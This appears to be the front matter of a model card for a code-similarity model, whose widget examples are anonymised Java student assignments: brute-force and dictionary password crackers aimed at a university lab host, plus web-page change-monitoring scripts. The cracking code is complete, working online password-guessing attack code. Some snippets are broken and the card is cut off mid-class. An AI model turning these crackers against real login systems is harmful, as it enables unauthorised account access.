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---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:33411
- loss:SoftmaxLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
- source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\n\
    import java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n   private\
    \ URL url;\n   private HttpURLConnection connection ;\n   private  int stopTime\
    \ = 0;\n   private  int startTime = 0;\n   private  int count = 0;\n\n   public\
    \ BruteForce()\n   {\n      System.out.println(\"Process is running...\");\n \
    \     startTime = System.currentTimeMillis();\n      threeLetters();\n      twoLetters();\n\
    \   }\n\n   public static void main (String args[])\n   {\n      BruteForce bf\
    \ = new BruteForce();\n   }\n   \n   public void threeLetters()\n   {\n      String\
    \ s1;\n      char [] a = {'a','a','a'};\n\n      for (int i0 = 0; i0 < 26; i0++)\n\
    \      {\n         for (int i1 = 0; i1 < 26; i1++)\n         {\n            for\
    \ (int i2 = 0; i2 < 26; i2++)\n            {\n               s1 = String.valueOf((char)(a[0]\
    \ + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t            String.valueOf((char)(a[2]\
    \ + i2));\n               decision(s1);\n               count++;\n\n         \
    \      s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1))\
    \ +\n                    (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
    \               decision(s1);\n               count++;\n\n               s1 =\
    \ String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\
    \ +\n                    (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
    \               decision(s1);\n               count++;\n\n               s1 =\
    \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n                    (String.valueOf((char)(a[1]\
    \ + i1))).toUpperCase() +\n                    (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
    \               decision(s1);\n               count++;\n\n               s1 =\
    \ (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\
    \ +\n                    String.valueOf((char)(a[2] + i2));\n               decision(s1);\n\
    \               count++;\n\n               s1 = (String.valueOf((char)(a[0] +\
    \ i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t            String.valueOf((char)(a[2]\
    \ + i2));\n               decision(s1);\n               count++;\n\n         \
    \      s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1]\
    \ + i1)) +\n                    (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
    \               decision(s1);\n               count++;\n\n               s1 =\
    \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n                    (String.valueOf((char)(a[1]\
    \ + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n               decision(s1);\n\
    \               count++;\n            }\n         }\n      }\n   }\n   \n   public\
    \ void twoLetters()\n   {\n      String s1;\n      char [] a = {'a','a'};\n\n\
    \      for (int i0 = 0; i0 < 26; i0++)\n      {\n         for (int i1 = 0; i1\
    \ < 26; i1++)\n         {\n            s1 = String.valueOf((char)(a[0] + i0))\
    \ + String.valueOf((char)(a[1] + i1));\n            decision(s1);\n          \
    \  count++;\n\n            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1]\
    \ + i1)).toUpperCase();\n            decision(s1);\n            count++;\n\n \
    \           s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n       \
    \          (String.valueOf((char)(a[1] + i1))).toUpperCase();\n            decision(s1);\n\
    \            count++;\n\n            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase()\
    \ + String.valueOf((char)(a[1] + i1));\n            decision(s1);\n          \
    \  count++;\n         }\n      }\n   }\n\n   \n   public void decision(String\
    \ s1)\n   {\n      if (find(s1) == 200)\n      {\n         stopTime = System.currentTimeMillis();\n\
    \          runTime = stopTime - startTime;\n         System.out.println(\"***************************************\"\
    );\n         System.out.println(\"\\nAttack successfully\");\n         System.out.println(\"\
    \\nPassword is: \" + s1);\n         System.out.println(\"\\nThe contents of the\
    \ Web site: \");\n         displayContent(s1);\n         System.out.println(\"\
    \\nTime taken  crack: \" + runTime + \" millisecond\");\n         System.out.println(\"\
    \\nNumber of attempts: \" + count);\n         System.out.println();\n\n      \
    \   System.exit(0);\n      }\n   }\n   \n   \n   public int find(String s1)\n\
    \   {\n      int responseCode = 0;\n      try\n      {\n         url = new URL(\"\
    http://sec-crack.cs.rmit.edu./SEC/2/\");\n         connection = (HttpURLConnection)url.openConnection();\n\
    \n         connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\
    \" + \":\" + s1));\n\n         responseCode = connection.getResponseCode();\n\n\
    \      }catch (Exception e)\n      {\n          System.out.println(e.getMessage());\n\
    \      }\n      return responseCode;\n   }\n\n   \n   public void displayContent(String\
    \ pw)\n   {\n      BufferedReader bw = null ;\n      try\n      {\n         url\
    \ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n         connection =\
    \ (HttpURLConnection)url.openConnection();\n\n         connection.setRequestProperty(\"\
    Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n         InputStream\
    \ stream = (InputStream)(connection.getContent());\n         if (stream != null)\n\
    \         {\n             InputStreamReader reader = new InputStreamReader (stream);\n\
    \             bw = new BufferedReader (reader);\n             String line;\n\n\
    \             while ((line = bw.readLine()) != null)\n             {\n       \
    \         System.out.println(line);\n             }\n        }\n      }\n    \
    \  catch (IOException e)\n      {\n         System.out.println(e.getMessage());\n\
    \      }\n   }\n}\n\n\n\n\n"
  sentences:
  - "\nimport java.io.*;\nimport java.net.Socket;\nimport java.util.*;\n\npublic class\
    \ Email\n{\n     private String hello;\n     private String mailFrom=\"\";\n \
    \    private String mailTo=\"\";\n     private String mailData=\"\";\n     \n\
    \     private String subject=\"\";\n     private String content=\"\";\n     private\
    \ String follows=\"\";\n     private String changeContent=\"\";\n     private\
    \ String stop=\"\";\n     private String end=\"\";\n     private String line=\"\
    \";\n     private InputStream is;\n     private BufferedReader bf;\n     private\
    \ OutputStream os;\n     private PrintWriter pw;\n     public Email(Vector change)\
    \  throws Exception\n     {\n      hello= \"HELO mail.rmit.edu.\";\n      mailFrom\
    \ = \"MAIL FROM: @cs.rmit.edu.\";\n      mailTo = \"RCPT : @cs.rmit.edu.\";\n\
    \      mailData = \"DATA\";\n      subject=\"Subject: Some changes occur\";\n\
    \      content=\" is some changes  the : http://www.cs.rmit.edu./students/\";\n\
    \      follows=\"The changes  as follows:\";\n      for(int i=0;i<change.size();i++)\n\
    \        changeContent+=change.elementAt(i).toString()+\"\\r\\n\";\n      stop\
    \ =\"\\r\\n.\";\n      end=\"QUIT\";\n     }\n     public void send() throws Exception\n\
    \     {\n      Socket sk = new Socket(\"mail.cs.rmit.edu.\",25);\n      is= sk.getInputStream();\n\
    \      os = sk.getOutputStream();\n      pw = new PrintWriter(new OutputStreamWriter(os));\n\
    \      pw.println(hello);\n      pw.println(mailFrom);\n      pw.println(mailTo);\n\
    \      pw.println(mailData);\n      pw.println();\n      pw.println(subject);\n\
    \      pw.println(content);\n      pw.println(follows);\n      pw.println(changeContent);\n\
    \      pw.println(stop);\n      pw.println(end);\n      pw.flush();\n      pw.get();\n\
    \      \n     }\n}"
  - "\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.util.*;\n\
    import java.net.*;\n\npublic class Dictionary\n{\n   private String userPassword;\n\
    \   private static int counter;\n\n\n\n\n\n   public Dictionary(String username)\n\
    \   {\n    String user;\n    String password;\n    counter = 0;\n    user = username;\n\
    \n          try\n          {\n            FileReader fr = new FileReader( \"/usr/share/lib/dict/words\"\
    \ );\n            BufferedReader bf = new BufferedReader( fr );\n\n          \
    \    while ((password = bf.readLine()) != null)\n              {\n           \
    \       userPassword = user + \":\" + password;\n\n                   System.out.print(\"\
    .\");\n\n                     if (password.length() == 3)\n                  \
    \       if (doEncoding(userPassword)== true)\n                         {\n   \
    \                         System.out.println(password);\n                    \
    \        return;\n                        }\n\n                  counter++;\n\
    \               }\n          }\n          catch ( IOException ioe )\n        \
    \  {\n            System.err.println( ioe.toString() );\n          }\n   }\n\n\
    \n\n\n   private boolean doEncoding(String userPassword)\n   {\n       String\
    \ encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());\n    \
    \   return doAttempt(encoding);\n   }\n\n\n\n\n\n   private boolean doAttempt\
    \ (String encoding)\n   {\n\n      try\n      {\n         URL url = new URL (\"\
    http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n         URLConnection uc = url.openConnection();\n\
    \         uc.setDoInput(true);\n         uc.setDoOutput(true);\n\n         uc.setRequestProperty\
    \  (\"Get\", \"/SEC/2/ \" + \"HTTP/1.1\");\n         uc.setRequestProperty  (\"\
    Host\", \"sec-crack.cs.rmit.edu.\");\n         uc.setRequestProperty  (\"Authorization\"\
    , \" \" + encoding);\n\n         return uc.getHeaderField(0).trim().equalsIgnoreCase(\"\
    HTTP/1.1 200 OK\");\n       }\n       catch (MalformedURLException e)\n      \
    \ {\n         System.out.println (\"Invalid URL\");\n       }\n       catch (IOException\
    \ e)\n       {\n         System.out.println (e.toString() );\n       }\n\n   \
    \    return false;\n   }\n\n\n\n\n\n  public static void  main(String args[])\n\
    \   {\n     Date sdate = new Date();\n     System.out.print(\"Starting the Ditionary\
    \ Attack at:\" + sdate + \"\\n\");\n\n     Dictionary bf = new Dictionary(args[0]);\n\
    \n     Date edate = new Date();\n     System.out.print(\"Ditionary Attack ends\
    \ at:\" + sdate + \"\\n\");\n     System.out.println(\"Time taken by Dictionary\
    \ is : \" + (edate.getTime() - sdate.getTime())/1000 + \" seconds \\n\");\n  \
    \   System.out.print(\"Attempts  in this session:\" + counter + \"\\n\");\n\n\
    \   }\n}\n\n\n\n\n"
  - "\n\n\nimport java.text.*;  \nimport java.util.*;  \nimport java.net.*;  \nimport\
    \ java.io.*;  \n\n  \npublic class BruteForce {  \n\n   public int runProcess(String\
    \ urlString,String passwd) {  \n\n       int returnval = 0;\n       MyAuthenticator\
    \ auth = new MyAuthenticator(passwd);\n       Authenticator.setDefault(auth);\n\
    \n\t       System.out.println(\"trying passord: \" + passwd);\n       try{\n \
    \           URL yahoo = new URL(urlString); \n            BufferedReader in =\
    \ new BufferedReader(new InputStreamReader(yahoo.openStream()));\n           \
    \ String inputLine;\n            while ((inputLine = in.readLine()) != null) {\n\
    \t       System.out.println(inputLine);\n\t       System.out.println(\"passord:\
    \ \" + passwd);\n               returnval = 1;\n            }\n\t    in.close();\n\
    \          }catch(Exception e){ returnval = 0;}\n       return returnval;\n  \
    \ }\n\n   public static void  main(String argv[]) {  \n\n       String[] val =\
    \ \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\
    m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\
    z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\
    M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\
    Z\"};\n\n      int l1 = 0;\n\n      int l2 = 0;\n\n      int l3 = 0;\n      \n\
    \      int retval = 0;\n\n      String pwd = \"\";\n\n      \n      BruteForce\
    \ s = new BruteForce();  \n      String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
    ;  \n    \n      for (int a = 0; a < 52; a++) {\n\n        l1 = a;\n\n       \
    \ pwd = val[l1];\n        retval = 0;\n        retval = s.runProcess(urlToSearch,pwd);\
    \  \n        if (retval > 0) {\n           System.exit(0);\n        }\n      }\n\
    \n\n      for (int b = 0; b < 52; b++) {\n        l1 = b;\n        for (int c\
    \ = 0; c < 52; c++) {\n\n          l2 = c;\n          pwd = val[l1]+ val[l2];\n\
    \          retval = 0;\n          retval = s.runProcess(urlToSearch,pwd);  \n\
    \          if (retval > 0) {\n             System.exit(0);\n          }\n    \
    \    }\n      }\n\n\n      for (int d = 0; d < 52; d++) {\n        l1 = d;\n \
    \       for (int e = 0; e < 52; e++) {\n          l2 = e;\n          for (int\
    \ f = 0; f < 52; f++) {\n\n              l3 = f;\n\n              pwd = val[l1]+\
    \ val[l2]+ val[l3];\n              retval = 0;\n              retval = s.runProcess(urlToSearch,pwd);\
    \  \n              if (retval > 0) {\n                 System.exit(0);\n     \
    \         }\n           }\n        }\n      }\n\n    }  \n}     \n\n"
- source_sentence: "\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\n\
    public class WatchDog\n{\n\n   \n   public static void main(String args[])throws\
    \ Exception\n   {\n        Process p1,p2,p3,p4,p5;\n        \n        for(;;)\n\
    \        {\n          \n\n          String s1[] = {\"/usr/local//tcsh\", \"-c\"\
    , \"mailx -s \\\"Part 2-Assignment2 \\\"  < change.html\"};\n          String\
    \ s2[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.* predir\"\
    };\n          String s3[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\
    \ predir\"};\n          String s4[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.*\
    \ postdir\"};\n          String s5[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\
    \ postdir\"};\n          String s6[] = {\"/usr/local//tcsh\", \"-c\", \"diff copy1\
    \ copy2 > diff.html\"};\n\n\n          Process p = Runtime.getRuntime().exec(\"\
    mkdir predir\");\n          p.waitFor();\n          Process p1 = Runtime.getRuntime().exec(\"\
    mkdir postdir\");\n          p1.waitFor();\n\n          \n          p1 = Runtime.getRuntime().exec(\"\
    wget -p --convert-links http://www.cs.rmit.edu./students/\");\n          p1.waitFor();\n\
    \n          Process q2 = Runtime.getRuntime().exec(s2);\n          q2.waitFor();\n\
    \          Process q3 = Runtime.getRuntime().exec(s3);\n          q2.waitFor();\n\
    \n          \n          Thread.sleep(86400000);\n\n          p3 = Runtime.getRuntime().exec(\"\
    wget -p --convert-links http://www.cs.rmit.edu./students/\");\n          p3.waitFor();\n\
    \n          Process q4 = Runtime.getRuntime().exec(s4);\n          q4.waitFor();\n\
    \          Process q5 = Runtime.getRuntime().exec(s5);\n          q5.waitFor();\n\
    \n          try\n          {\n            String str;\n            p4 = Runtime.getRuntime().exec(s6);\n\
    \            DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n\
    \            p4.waitFor();\n            \n            System.out.println(\"The\
    \ WatchDog - Returns 0 if  change  else 1\");\n            System.out.println(\"\
    Value :\" + p4.exitValue());\n            try\n            {\n               \
    \ while ((str = inp1.readLine()) != null)\n                {\n               \
    \     System.out.println(str);\n                }\n            }\n           \
    \ catch (IOException e)\n            {\n                System.exit(0);\n    \
    \        }\n\n          }\n          catch(FileNotFoundException e )\n       \
    \   {\n              e.printStackTrace();\n          }\n\n          BufferedReader\
    \ in = new BufferedReader(new FileReader(\"change.html\"));\n          \n    \
    \      if (in.readLine() != null)\n          {\n\n          try\n          {\n\
    \            String str1;\n            p5 = Runtime.getRuntime().exec(s1);\n \
    \           DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n\
    \            p5.waitFor();\n          try\n            {\n                while\
    \ ((str1 = inp2.readLine()) != null)\n                {\n                    System.out.println(str1);\n\
    \                }\n            }\n            catch (IOException e1)\n      \
    \      {\n                System.exit(0);\n            }\n\n          }\n    \
    \      catch(FileNotFoundException exp)\n          {\n              exp.printStackTrace();\n\
    \          }\n\n        }\n    }\n  }\n}\n\n"
  sentences:
  - "import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\n\
    public class WatchDog {\n\n  public WatchDog() {\n\n  }\n  public static void\
    \ main (String args[]) {\n    DataInputStream newin;\n\n    try{\n      System.out.println(\"\
    ishti\");\n\n      System.out.println(\"Downloading first copy\");\n      Runtime.getRuntime().exec(\"\
    wget http://www.cs.rmit.edu./students/ -O oldfile.html\");\n      String[] cmdDiff\
    \ = {\"//sh\", \"-c\", \"diff oldfile.html newfile.html > Diff.txt\"};\n     \
    \ String[] cmdMail = {\"//sh\", \"-c\", \"mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\
    \" < Diff.txt\"};\n      while(true){\n            Thread.sleep(24*60*60*1000);\n\
    \            System.out.println(\"Downloading new copy\");\n            Runtime.getRuntime().exec(\"\
    wget http://www.cs.rmit.edu./students/ -O newfile.html\");\n            Thread.sleep(2000);\n\
    \            Runtime.getRuntime().exec(cmdDiff);\n            Thread.sleep(2000);\n\
    \            newin = new DataInputStream( new FileInputStream( \"Diff.txt\"));\n\
    \            if (newin.readLine() != null){\n               System.out.println(\"\
    Sending Mail\");\n               Runtime.getRuntime().exec(cmdMail);\n       \
    \        Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\n    \
    \        }\n        }\n\n    }\n    catch(Exception e){\n      e.printStackTrace();\n\
    \    }\n\n    }\n\n}"
  - "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\n\
    public class Dictionary\n{\n\n\n\n    public void crackAddress(String fileName)\
    \ throws Exception\n    {\n       String line,username=\"\",passwd,pass;\n   \
    \    int flag=0,i;\n       BufferedReader bf = new BufferedReader(new FileReader(fileName));\n\
    \       Runtime run = Runtime.getRuntime();\n       GregorianCalendar =new GregorianCalendar();\n\
    \       while((passwd=bf.readLine().trim())!=null)\n       {\n           if((i=passwd.indexOf(\"\
    \\'\"))!= -1)\n                 {\n                    passwd =passwd.substring(0,i)+(\"\
    \\\\\")+(passwd.substring(i,passwd.length()));\n                 }\n\n       \
    \   System.out.println(\"Hack password with the word:\"+passwd);\n\t      String\
    \ command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\"\
    :\"+passwd+\" -dump\";\n\t      Process result = run.exec(command_line);\n   \
    \       BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\
    \n        while((line=bf.readLine())!=null)\n        {\n           flag=1;\n \
    \          break;\n\n        }\n        if(flag==1)\n        {\n           System.out.println(\"\
    The username is: \"+username+\" The password is: \"+passwd);\n           break;\n\
    \        }\n       }\n       GregorianCalendar end=new GregorianCalendar();\n\
    \       double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n\
    \       System.out.println(\"The attack use\"+time+\" seconds.\");\n    }\n\n\
    public static void main(String args[]) throws Exception\n{\n   Dictionary ds =\
    \ new Dictionary();\n   ds.crackAddress(args[0]);\n}\n}"
  - "import java.*;\nimport java.io.*;\npublic class C\n{\n    public static void\
    \ main (String [] args){\n    try{\n        \n        int m=0,n=0,w=0;\n     \
    \   String file = \"passwd.\";\n        char ch1='A',ch2='A',ch3='A';\n      \
    \  for(int i = 0 ; i < 26; i++ )\n        {\n          for(w=0;w<2;w++)\n    \
    \      {\n           if (w==1)\n            i+=32;\n           for(int j = 0;\
    \ j< 26 ; j++)\n           {\n            for(n=0;n<2;n++)\n            {\n  \
    \            if(n==1)\n                j+=32;\n            for(int k = 0; k<26\
    \ ; k++)\n               {\n                 for(m=0; m<2; m++)\n            \
    \     {\n                   if(m==1)\n                    k+=32;\n           \
    \         char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};\n     \
    \               String str = new String(data);\n                    System.out.println(str);\n\
    \                    FileWriter fr1 = new FileWriter(file,true);\n           \
    \         BufferedWriter in1 = new BufferedWriter(fr1);\n                    in1.write(str);\n\
    \                    in1.newLine();\n                    in1.print();\n      \
    \             if (k>=31)\n                       k-=32;\n                    \
    \ }\n                }\n             if(j>=31)\n              j=j-32;\n      \
    \        }\n           }\n           if(i>=31)\n              i-=32;\n       \
    \       }\n        }\n}\ncatch(IOException e)\n{\n  System.out.println(\"try\"\
    );\n}\n}\n}\n"
- source_sentence: "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\n\
    import java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\
    \npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n\
    \   private PrintWriter out2;\n   private TextArea response;\n   int status;\n\
    \   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int\
    \ newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n     \
    \  PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n\
    \       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n\
    \       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n\
    \          printW = new PrintWriter(fout);\n       }\n       catch (IOException\
    \ ioe)\n       {\n          System.out.println(\"IO Error : \" + ioe);\n     \
    \  }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n  \
    \        u = new URL(url);\n          try\n          {\n             \n      \
    \       uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n\
    \             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\
    \n             String line;\n\n             \n             while ((line = in.readLine())\
    \ != null)\n             {\n                \n                printW.println(line);\n\
    \n             }\n          }\n          catch (Exception e)\n          {\n  \
    \           System.out.println(\"Error: \" + e);\n          }\n       }\n    \
    \   catch (MalformedURLException e)\n       {\n          System.out.println(url\
    \ + \" is not a parseable URL\");\n       }\n       \n       printW.print();\n\
    \n\n       if(flag == 1)\n       {\n          \n           compareDiff(\"@.rmit.edu.\"\
    );\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n\
    \  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n      \
    \  StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next())\
    \ != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n\
    \            mailFlag++;\n            \n        }\n        return buffer.toString();\n\
    \   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds\
    \ = \"diff test1.txt test2.txt\";\n       PrintWriter printW2 = null;\n      \
    \ FileOutputStream fout2;\n       \n       File file = new File(\"diff.txt\");\n\
    \       file.delete();\n       String ;\n\n       try\n       {\n          fout2\
    \ = new FileOutputStream(\"diff.txt\",true);\n          printW2 = new PrintWriter(fout2);\n\
    \       }\n       catch (IOException ioe)\n       {\n          System.out.println(\"\
    IO Error : \" + ioe);\n       }\n\n       try\n       {\n\n\n          \n    \
    \      Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out\
    \ = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n       \
    \   printW2.println(loadStream(ps.getInputStream())+\"\\n\");\n          printW2.print();\n\
    \n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n\
    \             BufferedReader buf2;\n\n             try\n             {\n     \
    \           fRead2 = new FileReader(\"diff.txt\");\n                buf2 = new\
    \ BufferedReader(fRead2);\n                String line2;\n                int\
    \ i=0;\n\n                line = new String(\"  some changes  the web  as followed:\
    \ \\n\");\n                \n                Socket s = new Socket(\"wombat.cs.rmit.edu.\"\
    , 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n     \
    \           send(null);\n                send(\"HELO cs.rmit.edu.\");\n      \
    \          send(\"MAIL FROM: @.rmit.edu.\");\n                \n             \
    \   send(\"RCPT : @.rmit.edu.\");\n                send(\"DATA\");\n         \
    \       \n\n                while( (line2 = buf2.readLine()) != null)\n      \
    \          {\n                   \n line= new String(\"\"+line2+\"\\n\");\n  \
    \                 \n                   \n\n                }\n               \
    \ \n                \n                \n                out2.print();\n      \
    \          send(\".\");\n                s.print();\n             }\n        \
    \     catch(FileNotFoundException e)\n             {\n                System.out.println(\"\
    File not found\");\n             }\n             catch(IOException ioe)\n    \
    \         {\n                System.out.println(\"IO Error \" + ioe);\n      \
    \       }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n\
    \          \n          System.err.print(loadStream(ps.getErrorStream()));\n  \
    \      }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n\
    \        }\n    }\n\n    public void send(String s) throws IOException\n    {\n\
    \    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n        \
    \    response.append(s + \"\\n\");\n            out2.println(s);\n\t    out2.flush();\n\
    \t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}"
  sentences:
  - "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\npublic class BruteForce\n\
    {\n   private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
    ;\n   private static String password;\n   private static int length;         \
    \ \n   private static int t_counter;       \n   private static int f_counter;\
    \       \n                                       \n   private static int cases;\
    \           \n                                       \n   private static int respCode;\
    \        \n\n   public BruteForce()\n   {\n      Authenticator.setDefault(new\
    \ BruteForceAuthenticator());\n      t_counter = 0;\n      f_counter = 0;\n  \
    \    cases = 0;\n   }\n\n   public static void main (String[] args)\n   {\n  \
    \    BruteForce bf = new BruteForce();\n      String file = \" \";\n      while(respCode\
    \ != 200)\n      {\n         file = bf.fetchURL();\n      }\n      System.out.println(\"\
    Number of attempts: \" + t_counter);\n      System.out.println(\"Password: \"\
    \ + password);\n      System.out.println(file);\n   }\n\n   private String fetchURL()\n\
    \   {\n      StringWriter sw = new StringWriter();\n      PrintWriter pw = new\
    \ PrintWriter();\n\n      try\n      {\n         URL url = new URL(urlString);\n\
    \         HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \
    \        respCode = huc.getResponseCode();\n         InputStream content = huc.getInputStream();\n\
    \         BufferedReader in = \n            new BufferedReader (new InputStreamReader\
    \ (content));\n         String line;\n         while ((line = in.readLine()) !=\
    \ null) \n         {\n            pw.println(line);\n         }\n      } catch\
    \ (IOException e) {\n         pw.println(\"Error  URL\");\n      }\n      return\
    \ sw.toString();\n   }\n            \n   class BruteForceAuthenticator extends\
    \ Authenticator \n   {\n      private String username = \"\";\n\n      protected\
    \ PasswordAuthentication getPasswordAuthentication()\n      {\n         return\
    \ new PasswordAuthentication(username,generatePassword());\n      }\n\n      protected\
    \ char[] generatePassword()\n      {\n         int i,j,k;\n         int n = 26;\n\
    \         String letters1 = \"qwertyuiopasdfghjklzxcvbnm\";\n         String letters2\
    \ = \"abcdefghijklmnopqrstuvwxyz\";\n \n         i=0;\n         j=0;\n       \
    \  k=0;\n   \n         \n         \n         if(t_counter == 0)\n         {\n\
    \            length = 1;\n            cases = 0;\n            f_counter = 0;\n\
    \         }\n         if(t_counter == 2*n)\n         {\n            length = 2;\n\
    \            cases = 0;\n            f_counter = 0;\n         }\n         if(t_counter\
    \ == (2*n + 4*n*n))\n         {\n            length = 3;\n            cases =\
    \ 0;\n            f_counter = 0;\n         }\n\n         char c[] = new char[length];\n\
    \n         \n         \n         if(length == 1)\n         {\n            if(f_counter\
    \ == n)\n            {\n               cases++;\n               f_counter = 0;\n\
    \            }\n            i = f_counter;\n\n         } else if(length == 2)\
    \ \n         {\n            if(f_counter == n*n)\n            {\n            \
    \   cases++;\n               f_counter = 0;\n            }\n            i = f_counter/n;\n\
    \            j = f_counter - i*n;\n\n         } else if(length == 3) \n      \
    \   {\n            if(f_counter == n*n*n)\n            {\n               cases++;\n\
    \               f_counter = 0;\n            }\n            i = f_counter/(n*n);\n\
    \            j = (f_counter - i*n*n)/n;\n            k = f_counter - i*n*n - j*n;\n\
    \         }\n\n         \n         switch(cases)\n         {\n            case\
    \ 0:\n               c[0] = letters1.charAt(i);\n               if(length > 1)\
    \ c[1] = letters1.charAt(j);\n               if(length > 2) c[2] = letters1.charAt(k);\n\
    \               break;\n            case 1:\n               c[0] = Character.toUpperCase(letters1.charAt(i));\n\
    \               if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));\n\
    \               if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));\n\
    \               break;\n            case 2:\n               c[0] = Character.toUpperCase(letters1.charAt(i));\n\
    \               c[1] = letters1.charAt(j);\n               if(length > 2) c[2]\
    \ = letters1.charAt(k);\n               break;\n            case 3:\n        \
    \       c[0] = letters1.charAt(i);\n               c[1] = Character.toUpperCase(letters1.charAt(j));\n\
    \               if(length > 2) c[2] = letters1.charAt(k);\n               break;\n\
    \            case 4:\n               c[0] = letters1.charAt(i);\n            \
    \   c[1] = letters1.charAt(j);\n               c[2] = Character.toUpperCase(letters1.charAt(k));\n\
    \               break;\n            case 5:\n               c[0] = Character.toUpperCase(letters1.charAt(i));\n\
    \               c[1] = Character.toUpperCase(letters1.charAt(j));\n          \
    \     c[2] = letters1.charAt(k);\n               break;\n            case 6:\n\
    \               c[0] = letters1.charAt(i);\n               c[1] = Character.toUpperCase(letters1.charAt(j));\n\
    \               c[2] = Character.toUpperCase(letters1.charAt(k));\n          \
    \     break;\n            case 7:\n               c[0] = Character.toUpperCase(letters1.charAt(i));\n\
    \               c[1] = letters1.charAt(j);\n               c[2] = Character.toUpperCase(letters1.charAt(k));\n\
    \               break;\n            default:\n               break;\n        \
    \ }\n\n         f_counter++;\n         t_counter++;\n\n         password = new\
    \ String(c);\n         return c;\n      }\n   }\n}\n"
  - "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\nimport\
    \ java.util.*;\n\npublic class MyClient2 implements Runnable\n{\n   private String\
    \ hostname;\n   private int port;\n   private String filename;\n   private Socket\
    \ s;\n   private int n;\n   private InputStream sin;\n   private OutputStream\
    \ sout;\n   private int dif;\n   private String myPassword;\n   private int status;\n\
    \   private int myTime;\n   private BruteForce myMaster;\n   \n\n   public MyClient2(BruteForce\
    \ bf , int num, int myPort, String password)\n   {\n      \n      hostname = new\
    \ String(\"sec-crack.cs.rmit.edu.\");\n      port = myPort;\n      status = 0;\n\
